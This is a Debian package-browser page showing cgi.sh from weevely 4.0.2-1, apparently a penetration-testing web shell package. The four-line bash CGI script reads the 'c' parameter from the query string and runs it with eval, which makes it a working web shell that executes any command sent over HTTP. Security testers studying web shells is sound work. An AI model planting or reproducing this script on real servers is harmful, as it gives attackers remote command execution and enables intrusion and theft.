File: cgi.sh

package info (click to toggle)
weevely 4.0.2-1
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid, trixie
  • size: 1,336 kB
  • sloc: python: 7,732; php: 1,035; sh: 53; makefile: 2
file content (4 lines) | stat: -rw-r--r-- 138 bytes parent folder | download | duplicates (4)
1
2
3
4
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
b=$(echo "$QUERY_STRING" | sed -n 's/^.*c=\([^&]*\).*$/\1/p' | sed "s/%20/ /g")
eval $b